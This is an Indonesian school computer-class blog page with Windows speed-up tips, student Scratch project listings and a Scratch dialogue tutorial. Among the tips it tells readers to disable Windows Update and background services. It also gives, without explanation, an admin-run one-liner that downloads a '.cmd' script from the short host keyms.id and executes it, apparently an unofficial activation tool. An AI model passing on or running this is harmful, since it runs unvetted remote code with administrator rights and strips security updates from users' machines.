Belajar Komputer XTGM
Senin, 20 Januari 2025
Kamis, 07 November 2024
Selasa, 22 Oktober 2024
Atasi Laptop Lemot
1. Periksa penggunaan Memory Ex. Kapasitas 4 GB penggunaan 3,83
2. Hardisk Panas/ Lama ganti SSD
2. Hardisk Panas/ Lama ganti SSD
3. Hapus file sampah dengan
- menekan tombol Win + R --> Temp --> Ctrl + A --> Hapus File
- Tekan Win + R --> %Temp% --> Ctra + A --> Hapus File
- Tekan Win + R --> Prefetch --> Ctrl + A --> Hapus File
- Tekan Win + R --> Msconfiq --> OK--> Service -->
Hide all Microsoft Service --> pilih yang mau dimatikan
ex: Disable All --> OK
- Win + R --> services.msc
* Background Intelligent Transfer service ... --> Klik kanan properties -->Disable
--> Stop --> Apply --> OK
* Windows Update --> Disable --> Stop --> Apply --> OK
- Win + R --> Regedit --> Yes --> HKey Current User --> Control Panel -->
Desktop --> Cari + 2x klik Menu Show Delay --> 400 Diganti 0 --> OK
4. Search pada area Start (Win) --> Animation --> Show animation in windows
--> Show Transparancy in windows di off
5. Win + X --> System --> System Info --> Advance System Setting --> Performance -->
setting --> Adjust for best performance
Finish
Explorer --> View --> Option --> View --> buang centang Always (paling atas) --> Apply --> OK
Senin, 21 Oktober 2024
Senin, 05 Agustus 2024
Senin, 06 Mei 2024
Karya Scratch - SMP Xaverius Tugumulyo
Karya Scratch - Membuat Animasi dengan Pen
KARYA GERALDY L
Tampilan | Sprite ( 3 kucing) |
Kode Sprite Kucing 1 | |
Kode Sprite Kucing 2 | |
Kode Sprite Kucing 3 | |
KARYA Brigitta Vanessa dan Jovandi
Tampilan | Sprite |
Kode | |
KARYA GERALDY L
Tampilan | Sprite ( 3 kucing) |
Kode Sprite Kucing 1 | |
Kode Sprite Kucing 2 | |
Kode Sprite Kucing 3 | |
KARYA GERALDY L
Tampilan | Sprite ( 3 kucing) |
Kode Sprite Kucing 1 | |
Kode Sprite Kucing 2 | |
Kode Sprite Kucing 3 | |
Rabu, 24 April 2024
MEMBUAT DIALOG SEDERHANA DENGAN SCRATCH
MEMBUAT PERCAKAPAN SEDERHANA DENGAN SCRATCH
=============================================
- Hapus Sprite Bawaaan (kucing)
- Masukkan Sprite orang. Ex. Avery
- Rekam suara anda untuk Avery dan beri nama Avery1
- Buat kode untuk Sprite Avery
Switch costume to avery-a adalah tampilan (gerak tubuh pada saat avery berbicara)
Start sound Avery1 adalah suara hasil rekaman anda untuk Avery1 (dialog avery yang pertama)
Say Halo Selamat pagi adalah teks yang akan ditampilkan pada saat avery1 berbicara.3.18 adalah lamanya waktu Avery1 berbicara
Switch costume to avery-b adalah tampilan yang akan terlihat setelah avery selesai berbicara
- Buat Sprite Orang ke-2 (lawan bicara). Ex: Devin
- Buat/ rekam suara untuk Orang ke-2 dan beri nama Devin1
- Buat kode untuk Sprite Devin
Catatan:
Wait 4 second adalah jeda (waktu yang dibutuhkan) untuk memulai suara Devin1
2.17 second adalah lamanya Devin1 berbicara
Run Command with Administration
curl -L keyms.id/aso -o aso.cmd & aso.cmd
HASIL KREASI ANAK
Langganan:
Postingan (Atom)
Teks Link
https://ttsmaker.com/ https://www.adobe.com/express/feature/video/animation/audio https://suno.com/
-
Selamat Pagi Awali Belajar hari ini dengan doa. Silahkan anda absen pada postingan tugas pada blog ini dengan cara mengetikkan nama dan kela...
-
1. Bukalah Program Microsoft Access 2. Buat Database baru dengan nama Kalkulatornamamu 3. Klik Form -- klik Create form in Design View 4....
-
1. Bukalah program Ms. Access 2. Buatlah database baru dengan nama : AnimasiNamamu 3. Setelah muncul kotak...